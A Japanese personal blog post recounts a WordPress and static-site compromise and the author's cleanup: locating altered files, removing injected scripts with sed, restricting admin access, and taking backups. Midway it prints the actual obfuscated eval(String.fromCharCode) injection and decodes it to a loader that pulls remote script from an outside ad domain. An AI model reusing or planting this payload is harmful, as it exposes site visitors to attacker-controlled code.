WordPress

WordPressのサイトがハッキング・改ざんされたので対策を考える

こんにちは、2年ブログやってきて初めてハッキングされたyuisです。

ことの始まり。エックスサーバーから珍しくも、こんなメールが届いていました。

【重要】WordPressのプラグイン「Duplicator(1.2.40以前)」における緊急性の高い脆弱性について

このときからなんか嫌な予感はしてたんですよね。4時間後にはきっちりフラグ回収してくれました。

まぁ察するに、連鎖的に脆弱性が見つかったんでしょうねぇ。僕はduplicator入れてないんで、それ以外のものでハックされました。

似たプラグインで、wpbackupってのは入れてたんでそれかも。

これでも僕はWordPressハッキングもいくらか経験があるので、理屈はわかっているのですが、こればかりは常に新規脆弱性情報をマークしているハッカーのほうが有利なんですよねぇ。

対処

見覚えのないプラグイン・不要なプラグイン・脆弱性が確認されているプラグインを”削除”する

wpコマンドが使えない場合もあるので、管理者画面(/wp-login.php)からログインしてプラグインを無効化→削除します。

wordpress初心者の方ってやはりプログラミングも初心者の場合が多いので、PHPはもちろん、hooksとかも知らないと思うので、ちょっと便利そうだったり使えそうだったりするプラグインが紹介されてたりするとすぐインストール→有効化しちゃうんですよね。僕も始めたての頃は50個くらい平気で入れてましたけど。

これを機に、プラグインは使っているものだけにしておくとか、試してみたいプラグインがあるなら専用のサイトつくってやるとかローカル環境作るとかやるようにすると良いと思います。

プラグイン・WordPress本体をアップロードする

僕の場合、Canonical Seo WordPress Pluginというプラグインが勝手に入っており、まぁ名前から察するに俺の記事を横取りしようとしたんだろうけど…わかる。そうしたい気持ちはわかるが。わかるけどやって良いことと悪いことがあるだろうが。まぁ数日くらいのcanonicalだったらgoogleも浅く評価するので、こればかりは時間との勝負感があります。

改変されたコードを見つける

方法1 find

コードが改変されているか見つけるプラグインもいろいろあるみたいですが、僕はこれが一番はやいと思います。

find . -printf '%T+ %p\n' | sort -r | head -n 11

ファイルを更新順にソートします。

注意: 必ずテーマのアップデートの前にやってください。

使用例

[yuis@sv2031 hamingubard]$ find . -printf '%T+ %p\n' | sort -r | head -n 11
2018-09-08+02:30:38.8459963170 ./library/js/libs/jquery.cb-slideheader.js
2018-09-08+02:30:38.8399963170 ./library/js/libs/jquery.bxslider.min.js
2018-09-08+02:29:33.0560000190 ./header.php
2018-09-02+03:14:10.5791195520 ./footer.php
2018-09-01+00:47:28.8611796770 ./style.css
2018-08-31+23:38:57.4184110490 ./js/load.js
2018-08-26+20:57:35.7274348810 ./js
2018-08-26+20:57:19.5954357890 ./css
2018-08-26+20:57:19.5954357890 .
2018-06-07+17:15:04.5233497650 ./sidebar.php
2018-06-07+17:07:38.7863214170 ./index.php

[yuis@sv2031 hamingubard]$ rm ./library/js/libs/jquery.cb-slideheader.js
[yuis@sv2031 hamingubard]$ rm ./library/js/libs/jquery.bxslider.min.js
[yuis@sv2031 hamingubard]$ rmate ./header.php

^^(キレ気味)

.gitフォルダを除外したいとかphpファイルだけにしたいって場合は以下を参考。

find . -path ./.git -prune -o -name '*.php' -printf '%T+ %p\n' | sort -r | head -n 21

方法2:

ちなみに、以前紹介しました、[what-is “meld” “meld”]っていうファイルのdiffをしてくれるツールがありますので、それを使います。

これは、.gitで予めバックアップが取ってある事が前提の方法になりますので注意です。
しかし、どの場所がどういうふうに書き換えられているのか、という部分まで分かりますので、便利。(まぁgitでもクライアントによっては同じようなことができますが。git diffも使おうと思えば使えなくもない…)

蛇足:僕のサイトに貼り付けられたコードを軽く解説

<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 53, 44, 32, 52, 54, 44, 32, 49, 49, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 57, 44, 32, 49, 49, 53, 44, 32, 49, 49, 57, 44, 32, 49, 48, 53, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 57, 44, 32, 49, 49, 53, 44, 32, 49, 49, 57, 44, 32, 49, 48, 53, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59, 32, 125));</script>

↑ これの解説

何をしているかというと、文字列を数値で表現していて、その文字列がJavaScriptになっている。そのJavaScriptをevalしてJavaScriptとして実行している。

そのJavaScriptが以下。

"var elem = document.createElement('script'); elem.type = 'text/javascript'; elem.async = true;elem.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 97, 100, 115, 46, 118, 111, 105, 112, 110, 101, 119, 115, 119, 105, 114, 101, 46, 110, 101, 116, 47, 97, 100, 46, 106, 115);   var alls = document.getElementsByTagName('script'); var nt3 = true; for ( var i = alls.length; i--;) { if (alls[i].src.indexOf(String.fromCharCode(118, 111, 105, 112, 110, 101, 119, 115, 119, 105, 114, 101)) > -1) { nt3 = false;} } if(nt3 == true){document.getElementsByTagName("head")[0].appendChild(elem); }"

JavaScriptの外部ファイルを動的に読み込んでいることがわかる。その外部ファイルのURLもさらに隠されている。

String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 97, 100, 115, 46, 118, 111, 105, 112, 110, 101, 119, 115, 119, 105, 114, 101, 46, 110, 101, 116, 47, 97, 100, 46, 106, 115);

“https://ads.voipnewswire.net/ad.js”となる。このJavaScriptファイルが読み込まれるようになる。ということだ。

このファイルの内容を変えれば、ハッキングしたサイトの挙動を変えることもできるわけだ。

まぁ、いわゆる難読化なわけだが、なんでこんな簡単なしかし面倒な難読化なのだろうか。ウィルスだと検知されないためか、難読化ツールを使うと簡単に解読されてしまうということでもあるのだろうか。

今後の対策

せっかくの機会なのでもう少しWordPressセキュリティについて真剣に考えてみたいと思う。

gitでサイトを定期的にバックアップ

子テーマ・親テーマでそれぞれgitにてバックアップを取っておくといいだろう。
さらに、そのgitのフォルダもサーバーのwordpress以外の場所、非公開ディレクトリにコピーしてバックアップをしておくと更に安全性が高まる。

できればデータベースも定期的にバックアップ

今回は幸い、PHPなどをいじれるような深い階層でハッキングされたわけではないので、データベースなどには影響がなかったが、
wpdbなどを呼び出されるとデータベースにも簡単に影響が出てしまう。

定期的にSSHやphpmyadminからデータベースをdumpしておくといいだろう。サーバーによっては、定期的にそれらのバックアップを自動で行い、2週間前までは無料でロールバックできる、などの対応が可能なレンタルサーバー([xserver])もあるので、そういうのを活用してもいいだろう。

まとめ

例えばハッキングされても、定期的なバックアップと正しいSEO知識があればそこまで怖いものではない。実際ただ面倒なだけである。

あと、FTPだけ使っているっていう人も、ウェブデザインだけの人とかだと多そうだが、サーバーとのファイルのやり取りをFTPだけっていうのは早めに修正したほうが良いと思う。SSHを触る癖を付けたり、ファイルのサーバー間移動もrsyncとかを使うようにすると良いと思います。効率も転送速度も違いますので。

ただ、たまーにいるのですが、wordpressをメモ代わりに使う、Evernoteみたいな、大切な情報を置いておくデータハブみたいに使っちゃっている人。そういう方は、やはり注意が必要かと。
まぁ大抵のハッカーは全部自動化してますので、特定の1サイトを目視確認するっていうのはないんですが、何らかのフィルタリングに引っかかたりで興味を持たれたら危険ですので…。

追記

エックスサーバーから当件についてのメールが来ていました。

読んで見る限り、どうもやはり、他にも被害者が多数いるような文面ですね…。

まぁ僕はこれでもセキュリティは割としっかりしているので、おかしいなーとは思ってたんですが。

今回の騒動はduplicatorだけの話ではなさそうです。

で、メール本文には、ローカルのPCでウィルスチェックしろだの、FTP使ってサイトバックアップしてからドメインリセット(=サイト初期化)してだの書いてあったんですが、
そんなことできるわけないですよねぇ…。

こちとらあえてノートンとかは入れて無いわけですし。結構多いんじゃないでしょうか。技術系の人でウィルスチェックソフト入れないようにしてる人。何かと面倒ですからねぇ。ファイアウォールとか。

ファイル削除したり書き換えたりすればそれで済む話ですから。わざわざこんなことしなくていいだろって思いますけどねぇ。

僕はWordPressのサイト現状で20くらい持ってるんですが、持ってるっていうか、運用しているんですけど、アクセス少ない15サイトも被害受けてるっぽいんですけど、例のファイルは放置してますからね。処理するの面倒ですし。こういうときにサイトいっぱい持ってるときついですよねぇ……

今どきのウェブ技術者(またはブロガー)はハッキングの知識も持っておいたほうが良いのかも知れませんね。僕も暇があったらまたハッキングしてみようかと思います…。

追記::9/16

(メタ: 追記はしないスタイルとか言っておいて追記してますね。実はmarkdownファイルを直接atomで編集するだけでWordPressに追記できてしまうという画期的なシステムを作ってしまったのでそれを利用しています。公開は後日。)

時間を見つけてセキュリティを強化しましたのでご紹介。
考えたことも紹介してます。

.htaccess編集してwp-login.phpへのアクセスを制限しよう

これは今回のハッキング騒動とは趣旨違うんですけどね。
ログイン情報が漏れたら、それもう一巻の終わりですから。まぁ、2日以内くらいにストップさせることができれば、間に合うかもですが…。放置してたら完全に乗っ取られるパターンですよ。
というかwordpressの中にwordpressホスティングしてるサーバーのパスワードとかが書かれていたりなんかしたらそれこそ…そんな人は少なそうですが。

wp-login.phpのファイル名を変えるとか変えるプラグインとかあるそうですが、そんなことしなくても.htaccessでアクセス制限かければいいと思います。
これで、とりあえずwordpressに総当たりされてサイト完全に掌握されるっていうセキュリティリスクはほぼ皆無になります。

蛇足:
今回のようなハッキングは、プラグインの脆弱性を狙っています。ハッカーは脆弱性のあるプラグインがインストールされているかを確認するために、2つの方法を取ります。1つ目として、存在するグローバルIPのリストを元に、そのIPのフォルダに`curl -I`だのしてレスポンスを検証してダメなら次って感じで進んでいく。2つ目、これは初心者ハッカーやプログラミングに疎いスクリプトキディに多いやり方ですが、Google検索でフォルダ名を`inurl:`で検索し、出てきたサイトに手動でアクセスしてハッキングの手順を踏んでいくっていうもの。
何が言いたいかというと、今回のようなハッキングはプラグインがインストールされているかどうか、そしてサイトがある程度の有名なラインを超えているかどうかだけで決まります。
どれだけセキュリティを強化していても、プラグインが入っていたら終わりなんです。大抵はこういうのはあまり有名じゃない、個人が作ったような脆弱性もりもりのプラグインの多いんですが、今回のような100万DLを越えるようなプラグインで、大きな問題が見つかるというのはとてもめずらしいことです。

なんか勝手に.htaccessはフォルダ単位の設定しか出来ないみたいに思ってたんですけど、ファイル単位の設定もできるんですね。

以下をsite.com/public_html/.htaccessへ追記して、どうぞ。

0.0.0.0を自分がアクセス可能なグローバルIPにしてください。

もしかしてIP分からない?: https://api.ipify.org/?format=json

<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{REQUEST_URI} ^(.*)?wp-login\.php(.*)$ [OR]
RewriteCond %{REQUEST_URI} ^(.*)?wp-admin$
RewriteCond %{REMOTE_ADDR} !^0.0.0.0$
RewriteRule ^(.*)$ - [R=403,L]
</IfModule>

WordPress管理画面へのアクセスが拒否されました

ただいまエックスサーバーのセキュリティ対策により、
一部のご利用環境からWordPress管理画面へのアクセスが制限されています。

お客様のご利用環境において本画面が表示されてしまう場合は、
サーバーパネル内[WordPressセキュリティ設定]より、制限の解除を行うことが可能です。

解除方法についてご不明な場合は、
本ページのURLまたは、アクセスされたWordPressのURLをお書き添えのうえ、
下記リンクより、エックスサーバーカスタマーサポートまでご連絡をお願いいたします。

エックスサーバーお問い合わせ窓口
サポートマニュアル - WordPressセキュリティ設定

【ご確認ください】
CloudFlare(クラウドフレア)等、外部サーバーを経由してアクセスされるサービス利用をされている場合、
お客様(閲覧者)のご利用環境ではなく、経由する外部サーバーが制限に該当している可能性があります。
この場合も、サーバーパネル内の[WordPressセキュリティ設定]より解除を行ってください。

https://yuis.xsrv.jp/images/ss/ShareX_ScreenShot_7ae1ec36-bfbc-46d2-9564-e1e6b88995d5.png

いまエックスサーバーが、こんな状態で、セキュリティ強化しているんだなーってのはわかるんですけど、そのせいでVPN経由してるwindowsとかtorで入れなくって…。
なのでsim刺してるandroidからアクセスしてみました。

403が出れば成功です。

やっぱりgitだけじゃなくてWordPressディレクトリのフルバックアップも必要

便利なツールがありまして、meldなどのフォルダ比較ツールで、バックアップしたWordPressのフォルダと改変されたフォルダを比較してみれば、テーマディレクトリだけでない、完全な
比較ができるようになります。

今回、管理画面ページも改変されていた、ということを受けて、テーマディレクトリだけではダメだな、ということに気づきました。

まぁ、ただこれは、WordPressまるごと再インストールしてテーマディレクトリだけ持ってくるって形にすれば、PHP,JS,CSSはそのままでなので…どちらの方法をとってもいいかと思います。

僕は前者のほうが好きですが。

あー、でも、パーマリンクとかどうなんだろう。やったこと無いからわかりませんが…パーマリンクが元のURLに戻せないってなったら、SEO的にはサイトが死んだも同然ですからね。
僕は2度ほどパーマリンクでアクセス数が80%くらい減るっていう天災を経験しているので、ちょっと怖いですね…やっぱり前者の方がいいですよ。

ちなみに、「まだFTPで消耗してるの?」こと、WordPressのフルバックアップはSSH+rsyncを利用しましょうね。DL/UL速度50倍くらい違いますから。

rsyncのコマンド例としては、エックスサーバーならこんな感じ。

rsync -av -e 'ssh -p 10022 -i ~/.ssh/yuis.key' yuis@sv2031.xserver.jp:~/yuis-programming.com/public_html/ /mnt/c/_backups_wordpress/yuis-programming.com.d

とりあえず、今回のマルウェアへの対処方法の具体的なプロセスを考えたのでシェアします

色々書きましたが、こちらも貴重な時間を削って色々試して、考えました。結果、

今回の横行しているマルウェアに対しては、比較的簡易的な方法で対処できます。

というのも、書かれているスクリプトが全部同じなので、正規表現しやすいというのが一番の理由。

では行きます。

まず、マルウェアとか改変されている可能性のある怪しいファイルを検知してくれるプラグインがあるので、それを入れます。

wp plugin install  gotmls
wp plugin activate  gotmls

で、サイト全体をスキャンします。

https://yuis.xsrv.jp/images/ss/ShareX_ScreenShot_4e6247fc-86fe-4948-8cdf-4849bf821f4e.png

終わるとこうなります。この、詳細の部分のディレクトリパスを、コピーします。

で、Atomとかでお好きに編集します。

rmateで全部のファイル開いて1つずつ確認していくこともできますし、catとgrepで当該のスクリプトが書かれているファイルを出力することもできますね。

ここでは、当該の有害スクリプトを直接削除する方法を取ります。

僕の場合、怪しいファイルの一覧はこんな感じ。


rmate ~/yuis.org/public_html/blog/wp-admin/includes/class-pclzip.php
rmate ~/yuis.org/public_html/blog/wp-content/plugins/jetpack/_inc/postmessage.js
rmate ~/yuis.org/public_html/blog/wp-content/plugins/jetpack/_inc/build/postmessage.min.js
rmate ~/yuis.org/public_html/blog/wp-content/plugins/jetpack/_inc/build/infinite-scroll/infinity.min.js
rmate ~/yuis.org/public_html/blog/wp-content/themes/twentyfifteen/header.php
rmate ~/yuis.org/public_html/blog/wp-content/themes/twentyseventeen/header.php
rmate ~/yuis.org/public_html/blog/wp-content/themes/twentysixteen/header.php
rmate ~/yuis.org/public_html/blog/wp-includes/js/json2.js
rmate ~/yuis.org/public_html/blog/wp-includes/js/json2.min.js
rmate ~/yuis.org/public_html/blog/wp-includes/js/tw-sack.js
rmate ~/yuis.org/public_html/blog/wp-includes/js/tw-sack.min.js
rmate ~/yuis.org/public_html/blog/wp-includes/js/jquery/jquery.form.min.js
rmate ~/yuis.org/public_html/blog/wp-includes/js/jquery/jquery.schedule.js
rmate ~/yuis.org/public_html/blog/wp-includes/js/tinymce/tiny_mce_popup.js

これらのファイルに対して、sedで正規表現置換していきます。

cp ~/yuis.org/public_html/blog/wp-admin/includes/class-pclzip.php ~/yuis.org/public_html/blog/wp-admin/includes/class-pclzip.php.bak
sed -Ei 's/<script language=javascript.*eval\(String.fromCharCode.*<\/script>//g' ~/yuis.org/public_html/blog/wp-admin/includes/class-pclzip.php
cp ~/yuis.org/public_html/blog/wp-content/plugins/jetpack/_inc/build/postmessage.min.js ~/yuis.org/public_html/blog/wp-content/plugins/jetpack/_inc/build/postmessage.min.js.bak
sed -Ei 's/<script language=javascript.*eval\(String.fromCharCode.*<\/script>//g' ~/yuis.org/public_html/blog/wp-content/plugins/jetpack/_inc/build/postmessage.min.js
cp ~/yuis.org/public_html/blog/wp-content/themes/twentyfifteen/header.php ~/yuis.org/public_html/blog/wp-content/themes/twentyfifteen/header.php.bak
sed -Ei 's/<script language=javascript.*eval\(String.fromCharCode.*<\/script>//g' ~/yuis.org/public_html/blog/wp-content/themes/twentyfifteen/header.php
cp ~/yuis.org/public_html/blog/wp-includes/js/json2.js ~/yuis.org/public_html/blog/wp-includes/js/json2.js.bak
sed -Ei 's/<script language=javascript.*eval\(String.fromCharCode.*<\/script>//g' ~/yuis.org/public_html/blog/wp-includes/js/json2.js
cp ~/yuis.org/public_html/blog/wp-includes/js/tw-sack.js ~/yuis.org/public_html/blog/wp-includes/js/tw-sack.js.bak
sed -Ei 's/<script language=javascript.*eval\(String.fromCharCode.*<\/script>//g' ~/yuis.org/public_html/blog/wp-includes/js/tw-sack.js
cp ~/yuis.org/public_html/blog/wp-includes/js/tw-sack.min.js ~/yuis.org/public_html/blog/wp-includes/js/tw-sack.min.js.bak
sed -Ei 's/<script language=javascript.*eval\(String.fromCharCode.*<\/script>//g' ~/yuis.org/public_html/blog/wp-includes/js/tw-sack.min.js
cp ~/yuis.org/public_html/blog/wp-includes/js/jquery/jquery.form.min.js ~/yuis.org/public_html/blog/wp-includes/js/jquery/jquery.form.min.js.bak
sed -Ei 's/<script language=javascript.*eval\(String.fromCharCode.*<\/script>//g' ~/yuis.org/public_html/blog/wp-includes/js/jquery/jquery.form.min.js
cp ~/yuis.org/public_html/blog/wp-includes/js/jquery/jquery.schedule.js ~/yuis.org/public_html/blog/wp-includes/js/jquery/jquery.schedule.js.bak
sed -Ei 's/<script language=javascript.*eval\(String.fromCharCode.*<\/script>//g' ~/yuis.org/public_html/blog/wp-includes/js/jquery/jquery.schedule.js
cp ~/yuis.org/public_html/blog/wp-includes/js/tinymce/tiny_mce_popup.js ~/yuis.org/public_html/blog/wp-includes/js/tinymce/tiny_mce_popup.js.bak
sed -Ei 's/<script language=javascript.*eval\(String.fromCharCode.*<\/script>//g' ~/yuis.org/public_html/blog/wp-includes/js/tinymce/tiny_mce_popup.js

スクリプトは長いですがやっていることは単純です。cpでバックアップを取ってから、ファイルを直接置換しています。

今回のスクリプトでしたら、sed -Ei 's/<script language=javascript.*eval\(String.fromCharCode.*<\/script>//g'みたいな感じになるかと思います。もしスクリプトの内容が違うとか新種が出てきたって場合は随時書き換えて使用する必要があります。

と、以上になります。また何かあったら追記しますね。

追記::9/16

うげっ!WordPressじゃない静的HTMLサイトのJavaScriptが改ざんされてる!何だこれ!?

これマジ?こんなん対策のしようが無いだろ…

えっと、どうやらPHPだけじゃなく、JavaScriptファイルの改変もできるみたいですね。
そして驚きなのが、今回改変されていたファイルは、完全にスタンドアロン…っていうか、静的なファイルだったんです。
サイト名は言えませんが、そのサイトのJavaScriptをmeldで比較してみたら…出てきましたよ。例のコードが…。死んでくれ…。

https://yuis.xsrv.jp/images/ss/ShareX_ScreenShot_6980cb0e-f1fb-4a85-aee3-a0a52cf7e61a.png

https://yuis.xsrv.jp/images/ss/ShareX_ScreenShot_a258ee46-722c-4b10-8941-55acfed71fc5.png

https://yuis.xsrv.jp/images/ss/ShareX_ScreenShot_6c276c43-35fd-45dd-9300-fadd7e3740de.png

泣きそう。
俺こんな酷いことされるようなことした覚えないよ。

っていうか思ってたんだけど、サイトにアクセスしてリダイレクトされるまでに時間差があるんですよね。20秒位。乱数っぽいんですけど。
最悪ですね。

あとなんかサイト管理者だったり複数回目のサイト訪問だったりすると検知されるようになっているようで、そのため、あー治ったっぽいな良かったわ。って人が出そうなんですけど、気をつけてくださいね。

サイトの検証にはTorとか使うと良いと思います。chromeのシークレットウィンドウでも良いんですけど、IPアドレスも比較対象になっているとするとそれじゃ意味ないんで、徹底的に第三者のサイト訪問を装うためにはTorが一番です。

これに関しては、もう僕から言える対策はありません。お手上げです。どんな脆弱性があったらこんな事できるんだよ…。
これはもしかしたらレンタルサーバー側、エックスサーバーにも問題があった可能性がありますね。今の所そういうことはメール来てないですが、疑わざるを得ないですね。
まぁ、結構今回のハッキング騒動混乱してますからねぇ。詳しいことは興味ないので調べてないですけど、ほんとヤバイんじゃないですかね。主に北朝鮮とか中国的な意味で。まぁ、相当なことがあればレンタルサーバーからメール来るでしょうから、今は様子見ですねー。

静的HTMLサイトの場合、おそらく元となったテンプレートが存在するはずですから、そのフォルダの中のJSフォルダを、汚染されたJSフォルダの中にrsyncして上書きします。

rsync -av -e 'ssh -p 10022 -i ~/.ssh/yuis.key' /mnt/c/_tmp/verb/js/ yuis@sv2031.xserver.jp:/home/yuis/hogehoge.com/public_html/js

[yuis@sv2031 public_html]$ ls js
合計 204
drwxrwxrwx 2 yuis yuis     4096  9月 11 20:56 .
drwx--x--x 9 yuis members  4096  9月 11 20:56 ..
-rwxrwxrwx 1 yuis yuis    36816  9月 11 20:56 bootstrap.min.js
-rwxrwxrwx 1 yuis yuis    10747  9月 11 20:56 jquery.easing.1.3.js
-rwxrwxrwx 1 yuis yuis    87016  9月 11 20:56 jquery.min.js
-rwxrwxrwx 1 yuis yuis    15233  9月 11 20:56 jquery.stellar.min.js
-rwxrwxrwx 1 yuis yuis    11471  9月 11 20:56 jquery.waypoints.min.js
-rwxrwxrwx 1 yuis yuis     5635  9月 11 20:56 main.js
-rwxrwxrwx 1 yuis yuis    15413  9月 11 20:56 modernizr-2.6.2.min.js
-rwxrwxrwx 1 yuis yuis     4378  9月 11 20:56 respond.min.js
[yuis@sv2031 public_html]$ ls js
合計 196
drwxrwxrwx 2 yuis yuis     4096  9月  7 19:03 .
drwx--x--x 9 yuis members  4096  9月 11 20:56 ..
-rwxrwxrwx 1 yuis yuis    36816  6月 17  2015 bootstrap.min.js
-rwxrwxrwx 1 yuis yuis     8111  9月 25  2015 jquery.easing.1.3.js
-rwxrwxrwx 1 yuis yuis    84380  4月 29  2015 jquery.min.js
-rwxrwxrwx 1 yuis yuis    12597  1月 31  2016 jquery.stellar.min.js
-rwxrwxrwx 1 yuis yuis     8835  9月 25  2015 jquery.waypoints.min.js
-rwxrwxrwx 1 yuis yuis     5635 12月  7  2016 main.js
-rwxrwxrwx 1 yuis yuis    15413  9月 27  2015 modernizr-2.6.2.min.js
-rwxrwxrwx 1 yuis yuis     4378  9月 28  2015 respond.min.js

これでサイトを確認してみると……一応治っているようです。良かったです。
また色々やるのが面倒な場合はこの直った状態でgitをとっておくとか、フルバックアップとっておくとかすると、meldとかしなくてもまた改変されたらrsyncコマンド一発で復元できるので便利かと思います。まぁ、企業サイトさんとか基本変更しないサイトにしか使えない手ですが。静的HTMLページ使ってるサイトさんって大体会社のLPみたいなサイトばっかな印象ありますしたぶん大丈夫ですよね。

ちなみにsassとかも確認してみましたが、問題なさそうでした。JavaScriptだけですね。

https://yuis.xsrv.jp/images/ss/ShareX_ScreenShot_fc3d209e-7066-4885-b3dc-bb6cd4b6dfd4.png

なんか見てると、WordPressに脆弱性っていうか、jQueryに脆弱性があったんじゃないかって気がしてきますね。どうなんでしょうか。そりゃ大事になりますね。比較的どうでもいいですが。

コメントを残す

メールアドレスが公開されることはありません。 * が付いている欄は必須項目です